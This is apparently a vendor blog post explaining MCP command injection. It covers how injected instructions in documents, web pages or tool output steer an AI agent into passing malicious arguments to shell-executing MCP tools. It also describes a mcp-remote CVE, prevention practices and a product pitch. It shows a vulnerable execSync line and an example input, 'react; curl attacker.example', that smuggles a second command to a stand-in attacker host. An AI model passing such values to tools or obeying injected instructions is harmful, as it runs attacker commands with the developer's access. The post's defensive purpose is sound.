All posts
AI
November 19, 2026

MCP Command Injection: How Vulnerable Servers Get Exploited

MCP Command Injection: How Vulnerable Servers Get Exploited

A developer writes a small MCP server so their coding assistant can look up package details. The tool takes a package name and runs a command-line lookup. It’s ten lines of code, it works the first time, and it ships to the team.

Here’s the problem. The tool builds that command by dropping the package name straight into a shell string. If the “package name” contains a semicolon followed by another command, the shell runs that too, on the developer’s laptop, with the developer’s access. And the input didn’t come from a person typing. It came from a model that can be steered.

That’s MCP command injection. It’s one of the oldest bugs in software, given a new delivery path. This guide explains how it works, where it shows up in the MCP ecosystem, and how both builders and security teams can stop it.

What is MCP command injection?

MCP command injection is a vulnerability in which an MCP server or client passes untrusted input, often supplied by an AI model, into an operating system command, allowing an attacker to run their own commands on the machine where the server runs.

It’s related to prompt injection but not the same thing.

Prompt injection Command injection
What’s attacked The model’s instructions The server or client code
How it works Hidden instructions steer what the model does Malicious input is executed by a shell
What it achieves The model calls the wrong tool or leaks data Arbitrary commands run on the host
Where it’s fixed Input and output inspection, least privilege Secure coding, sandboxing, patching

In practice, the two often chain together. Prompt injection gets the model to send a malicious argument. Command injection turns that argument into code execution.

How vulnerable MCP servers get exploited

The exploit chain usually has four links.

  1. A tool shells out. The server wraps a command-line program such as a package manager, git, or a file converter, and builds the command as a string.
  2. The model supplies the input. The tool’s schema says the argument is a string, so the model fills it in from the conversation. A type check confirms it’s a string, not that it’s safe.
  3. An attacker influences the model. They don’t need direct access. Instructions can arrive through a document the agent reads, a web page, a ticket, a code comment, a rules file, or the output of another tool.
  4. The shell runs the payload. Characters like ;, &&, or backticks end the intended command and start a new one. It runs with whatever access the server has.

Here’s the pattern in simplified form.

Vulnerable: the input is interpolated into a shell command.

execSync(`npm view ${packageName}`)

Safer: no shell, and the input is passed as a single argument.

execFile("npm", ["view", packageName])

With the second version, an input like react; curl attacker.example is treated as one odd-looking package name, not as two commands.

Where command injection shows up in the MCP ecosystem

Inside tool handlers

Any tool that wraps a command-line program is a candidate: repository tools, file converters, cloud CLIs, database clients, and deployment scripts. The risk rises when the tool runs locally on a developer machine, where credentials, SSH keys, and source code all live.

Inside MCP clients and proxies

The bug isn’t limited to servers. In 2025, a critical vulnerability in mcp-remote, a widely used proxy that lets local AI clients connect to remote MCP servers, showed how a client can be exposed too. Tracked as CVE-2025-6514 and rated CVSS 9.6, it let a malicious server return a crafted authorization URL that ended up executing commands on the client machine. JFrog’s write-up notes it affected versions 0.0.5 to 0.1.15 and was fixed in 0.1.16. The MCP security best practices now state that clients must not use shell commands to open URLs.

Inside server startup commands

Local MCP servers are started from a command in a configuration file. The MCP security guidance warns that an attacker can hide a malicious startup command in a configuration, and that one-click setups must show the exact command and ask for consent before running it.

Why MCP makes an old bug worse

Command injection has been on security checklists for decades. MCP changes three things.

  • The input source is a model. Developers are used to validating input from forms and APIs. Input from a model feels internal, so it’s easy to trust. It shouldn’t be.
  • The attack can be remote and indirect. An attacker who can get text in front of the agent can potentially steer what it passes to a tool, without ever touching the server.
  • Servers often run with too much access. Local servers run as the developer. Many are installed from public registries without code review.

How to prevent MCP command injection in your servers

If you build MCP servers, these practices close the hole at the source.

  1. Don’t use a shell. Call programs directly and pass arguments as an array, so the input is never parsed by a shell.
  2. Prefer APIs over command-line tools. If a library or API can do the job, use it instead of spawning a process.
  3. Validate against an allowlist. Check inputs against the exact format you expect, such as a package name pattern or a set of allowed values, not just a type.
  4. Constrain the schema. Use patterns, enums, and length limits in the tool’s input schema so bad input is rejected before your code runs.
  5. Treat every tool argument as untrusted. Model-generated input deserves the same suspicion as anything from the internet.
  6. Run with least privilege. Give the server its own limited account, minimal file system access, and no credentials it doesn’t need.
  7. Sandbox it. Run servers in containers or other isolated environments, especially anything that executes commands.
  8. Keep dependencies patched. Track the MCP packages you depend on and update quickly when advisories land.

How security teams can contain the risk

You can’t review every line of every MCP server your organization uses. You can limit what a vulnerable one can do.

  • Inventory MCP servers, including local ones. Find the servers on developer machines and in code repositories, not just the ones in your approved list.
  • Patch known-vulnerable packages. Check for affected versions of client and server packages, and update them.
  • Move risky servers off laptops. Run command-executing servers in isolated, managed environments with limited access.
  • Route tool calls through a gateway. Apply tool-level and parameter-level permissions, so an agent can only call the tools and pass the parameters its job needs.
  • Validate tool inputs before they run. Check arguments against expected formats at the control point, and route high-impact actions to human review.
  • Block the prompt injection that delivers the payload. Inspect content coming into the agent for hidden instructions.
  • Log every call. Record the agent, user, tool, and inputs, so a suspicious argument can be traced and investigated.
  • Red team your agents. Test whether an agent can be steered into passing malicious arguments to its tools.

A checklist for MCP command injection

  1. Do any of your MCP tools build shell commands from strings?
  2. Are arguments passed as arrays, without a shell?
  3. Are inputs validated against allowlists and strict schemas?
  4. Do servers run with their own limited accounts?
  5. Are command-executing servers sandboxed?
  6. Are MCP client and server packages patched?
  7. Do you know which MCP servers run on developer machines?
  8. Are tool calls checked and logged at a central control point?

How Airia helps

Airia focuses on finding MCP servers, controlling what agents can send to them, and stopping the prompt injection that often delivers the payload.

Airia Discover includes MCP Server Detection and code repository scanning among its nine discovery signals, so security teams can find MCP servers running on endpoints and in code before they reach production, not just the ones in the approved list.

The Airia MCP Gateway is the control point for agent tool access. Admins approve which servers can be used and assign access at the app, tool, and parameter level by role. Tool names and descriptions are scanned for hidden prompt injection before they’re exposed, and every tool call, whether it succeeded, was denied, or errored, is logged and searchable.

Agent Constraints validate tool inputs and execution parameters before actions are allowed to proceed, and route high-impact actions to human review. Airia Secure detects and blocks direct and indirect prompt injection with sub-300ms enforcement latency, cutting off a common way attackers get malicious arguments into a tool call. And Agentic Red Teaming tests agents against prompt injection, tool manipulation, and chained attacks.

Conclusion

MCP command injection is an old bug with a new delivery route. The input now comes from a model, and the model can be steered by anyone who can put text in front of it. Fix it where it starts by never building shell commands from strings, validating every argument, and patching quickly. Then contain what slips through: find every MCP server, run them with least privilege, check tool inputs at a central control point, and log every call.

Find the MCP servers your agents can reach, and control what they send. Request a demo to see Airia discover MCP servers, check tool inputs, and log every call.

Put these ideas to work.

Schedule a 30-minute walkthrough with our team.

Talk through your use case